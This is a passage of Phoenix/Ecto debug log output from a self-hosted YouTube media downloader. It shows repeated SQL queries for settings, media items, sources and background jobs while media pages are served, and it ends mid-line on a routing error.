?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5132274, 5132330, 5132386, 5132442, 5132498, 5132554, 5132611, 5132667, 5132723, 5132779, 5132835, 5132890, 5132946, 5133002, 5133058, 5133114, 5133170, 5133226, 5133282, 5133338, 5133394, 5133450, 5133506, 5133562, 5133618, 5133673, 5133729, 5133785, 5133841, 5133897, 5133951, 5134005, 5134059, 5134113, 5134167, 5134221, 5134275, 5134329, 5134383, 5134437, 5134491, 5134545, 5134599, 5134654, 5134708, 5134763, 5134817, 5134871, 5134925, 5134980, ...] 17:42:28.794 [debug] QUERY OK source="settings" db=0.0ms idle=225.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:28.794 [debug] QUERY OK source="settings" db=0.0ms idle=141.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:28.794 [debug] QUERY OK source="settings" db=0.0ms idle=141.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:28.794 [debug] QUERY OK source="media_profiles" db=0.0ms idle=26.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:28.860 [info] Sent 200 in 208ms 17:42:29.152 [info] GET /sources/1/media/1575026 17:42:29.152 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1575026", "source_id" => "1"} Pipelines: [:browser] 17:42:29.153 [debug] QUERY OK source="media_items" db=0.1ms idle=372.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1575026] 17:42:29.153 [debug] QUERY OK source="sources" db=0.1ms idle=359.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:42:29.184 [debug] QUERY OK source="tasks" db=31.0ms idle=359.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1575026] 17:42:29.352 [debug] QUERY OK source="oban_jobs" db=163.6ms idle=393.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5132271, 5132327, 5132383, 5132439, 5132495, 5132551, 5132608, 5132664, 5132720, 5132776, 5132832, 5132887, 5132943, 5132999, 5133055, 5133111, 5133167, 5133223, 5133279, 5133335, 5133391, 5133447, 5133503, 5133559, 5133615, 5133670, 5133726, 5133782, 5133838, 5133894, 5133948, 5134002, 5134056, 5134110, 5134164, 5134218, 5134272, 5134326, 5134380, 5134434, 5134488, 5134542, 5134596, 5134651, 5134705, 5134760, 5134814, 5134868, 5134922, 5134977, ...] 17:42:29.365 [debug] QUERY OK source="settings" db=0.0ms idle=571.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:29.366 [debug] QUERY OK source="settings" db=0.0ms idle=212.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:29.366 [debug] QUERY OK source="settings" db=0.0ms idle=212.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:29.366 [debug] QUERY OK source="media_profiles" db=0.0ms idle=182.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:29.436 [info] Sent 200 in 283ms 17:42:29.654 [info] GET /sources/1/media/1575027 17:42:29.654 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1575027", "source_id" => "1"} Pipelines: [:browser] 17:42:29.655 [debug] QUERY OK source="media_items" db=0.0ms idle=289.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1575027] 17:42:29.655 [debug] QUERY OK source="sources" db=0.1ms idle=289.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:42:29.662 [debug] QUERY OK source="tasks" db=7.1ms idle=289.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1575027] 17:42:29.672 [debug] QUERY OK source="oban_jobs" db=6.2ms idle=300.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5132272, 5132328, 5132384, 5132440, 5132496, 5132552, 5132609, 5132665, 5132721, 5132777, 5132833, 5132888, 5132944, 5133000, 5133056, 5133112, 5133168, 5133224, 5133280, 5133336, 5133392, 5133448, 5133504, 5133560, 5133616, 5133671, 5133727, 5133783, 5133839, 5133895, 5133949, 5134003, 5134057, 5134111, 5134165, 5134219, 5134273, 5134327, 5134381, 5134435, 5134489, 5134543, 5134597, 5134652, 5134706, 5134761, 5134815, 5134869, 5134923, 5134978, ...] 17:42:29.688 [debug] QUERY OK source="settings" db=0.0ms idle=118.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:29.688 [debug] QUERY OK source="settings" db=0.0ms idle=33.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:29.688 [debug] QUERY OK source="settings" db=0.0ms idle=32.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:29.688 [debug] QUERY OK source="media_profiles" db=0.0ms idle=26.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:29.756 [info] Sent 200 in 101ms 17:42:32.487 [info] GET /sources/6/force_metadata_refresh 17:42:32.487 [debug] QUERY OK source="settings" db=0.1ms idle=1140.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:32.487 [debug] QUERY OK source="settings" db=0.0ms idle=1140.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:32.487 [debug] Converted error Phoenix.Router.NoRouteError to 